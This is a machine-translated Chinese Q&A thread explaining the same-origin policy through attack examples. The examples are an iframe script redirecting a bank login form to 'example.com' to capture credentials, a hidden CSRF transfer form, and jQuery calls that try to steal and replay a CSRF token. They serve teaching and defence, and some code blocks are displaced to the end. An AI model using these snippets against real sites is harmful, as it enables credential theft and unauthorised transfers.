Security 为什么需要同源策略的简单示例

Security 为什么需要同源策略的简单示例,security,web,same-origin-policy,Security,Web,Same Origin Policy,我已经阅读了同源策略,但为了更好地理解这一问题:有人能用任何语言编写一个简单的代码来演示SOP停止的攻击吗 在SOP发生之前,怎么可能攻击他人? <iframe id="bank" src="https://yourbank.com"></iframe> <script> window.onload = function() { document.getElementById('bank').contentWindow.documen

我已经阅读了
同源策略
,但为了更好地理解这一问题:有人能用任何语言编写一个简单的代码来演示SOP停止的攻击吗

在SOP发生之前,怎么可能攻击他人?


<iframe id="bank" src="https://yourbank.com"></iframe>

<script>
    window.onload = function() {
        document.getElementById('bank').contentWindow.document.forms[0].action =
            'http://example.com';
    };
</script>
window.onload=函数(){ document.getElementById('bank').contentWindow.document.forms[0]。操作= 'http://example.com'; };
Javascript代码更改了表单的action属性(可以说是目的地),因此当您提交表单时,您将凭证发送给我,而不是银行

如果我在服务器上设置一个PHP脚本,将您重定向到银行,您甚至不会注意到它


使用同源策略时,不可能进行此攻击。我的域中的站点无法读取或修改银行网站的内容。

攻击示例1:使用HTML表单的跨站点请求伪造(CSRF)

evil.com
页面上,攻击者放置了:

<form method="post" action="http://bank.com/trasfer">
    <input type="hidden" name="to" value="ciro">
    <input type="hidden" name="ammount" value="100000000">
    <input type="submit" value="CLICK TO CLAIM YOUR PRIZE!!!">
</form>
如所述:

因此,如果
evil.com
发出一个post请求,他永远不会猜到该令牌,服务器将拒绝该事务

另见:

攻击示例2:使用JavaScript AJAX的跨站点请求伪造(CSRF)

但是,是什么阻止
evil.com
像合法浏览器那样使用JavaScript发出两个请求呢

  • XHR获取令牌
  • 包含良好标记的XHR POST
  • 所以
    evil.com
    会尝试类似的方法(jQuery因为懒惰):

    这就是SOP发挥作用的地方。虽然
    $.get
    $.post
    确实会像HTML表单一样发送经过身份验证的请求,但发件人的浏览器会阻止JavaScript代码读回HTML回复,因为请求被发送到单独的域

    Chromium developer控制台显示类型为的错误:

    CORS策略已阻止从源“”访问“”处的XMLHttpRequest:请求的资源上不存在“访问控制允许源”标头

    已在以下网址询问:

    为什么不发送交叉请求cookies呢?

    我在问自己:但如果实现有一个规则,比如:“允许任何请求,但只在当前域XHR上发送cookie”,会怎么样

    但这仍然允许另一种类型的攻击:身份验证不是基于cookie,而是基于请求的源(IP)

    例如,您在公司的内部网中,可以从那里访问内部服务器,该服务器从外部看不到,并提供机密数据

    是否禁止所有跨源请求?

    即使忘记了CORS,,我们每天都在做

    发件人:

    • 通常允许跨源写入:链接、重定向和表单提交

    • 通常允许跨源嵌入:图像、外部CSS和Javascript、iFrame

    • 通常不允许跨原点读取:XHR(上面的示例),
      iframe
      read

      然而,读访问通常是通过嵌入泄漏的。例如,您可以读取嵌入图像的宽度和高度、嵌入脚本的操作或(因此,如果用户登录或未登录到给定域,则可能会读取)

    其他预防方法

    • 检查是否存在某些标题,例如
      X-request-With
    • 检查
      原点
      标题的值:
    • 重新验证:再次要求用户输入密码。这应该为每一个关键操作(银行登录和转账,大多数网站的密码更改)完成,以防你的网站被XSSed。缺点是用户必须多次输入密码
    另见:


    除了上面的答案,浏览器实际上对不同的跨域请求采取不同的操作

    对于不进行潜在危险更改的请求(那些所谓的“简单”请求,例如,带有允许标题的GET请求),浏览器将继续向跨域站点发出请求,并在存在
    访问控制允许来源时检入响应标题。否则,脚本将无法访问该响应的任何内容

    对于这种情况,例如,SOP可以阻止攻击者向您发送网络钓鱼网页,并使用您的Cookie向您的银行网站发出GET请求,以获取令牌访问您的帐户

    对于可能做出潜在危险更改的请求(所谓的“预飞”请求,例如PUT请求),浏览器将尝试使用first向跨域站点发出请求。如果允许提出实际请求,此请求将与跨域站点进行检查。否则,浏览器甚至不会发送实际请求

    对于这种情况,一个例子是,SOP阻止攻击者使用您的cookie修改您的密码向您的银行网站发出PUT请求

    有关浏览器如何确定请求是否“简单”的详细信息,请参阅


    此外,由于这两种情况都涉及使用来自跨域网站的cookie,为什么不在发出跨域请求时禁止使用cookie呢?1.正如Ciro所指出的,身份验证可能基于IP地址,而不是cookies。在这种情况下,禁止使用cookie是没有帮助的。2.在其他情况下,例如,您实际上拥有两个站点,使用一个站点设置Cookie并使用这些Cookie从另一个站点发出请求可能会很有用。

    因此存在相同来源的策略以给PFISHER带来不便?现在要窃取你的密码,他们必须复制facad
    <form action="http://bank.com/transfer" method="post">
      <p><input type="hidden" name="authenticity_token"
                value="j/DcoJ2VZvr7vdf8CHKsvjdlDbmiizaOb5B8DMALg6s=" ></p>
      <p><input type="hidden" name="to"      value="ciro"></p>
      <p><input type="hidden" name="ammount" value="100000000"></p>
      <p><button type="submit">Send 100000000$ to Ciro.</button></p>
    </form>
    
    $.get('http://bank.com/transfer')
    // Parse HTML reply and extract token.
    $.post('http://bank.com/transfer', {
      to: 'ciro',
      ammount: '100000000',
      authenticity_token: extracted_token
    })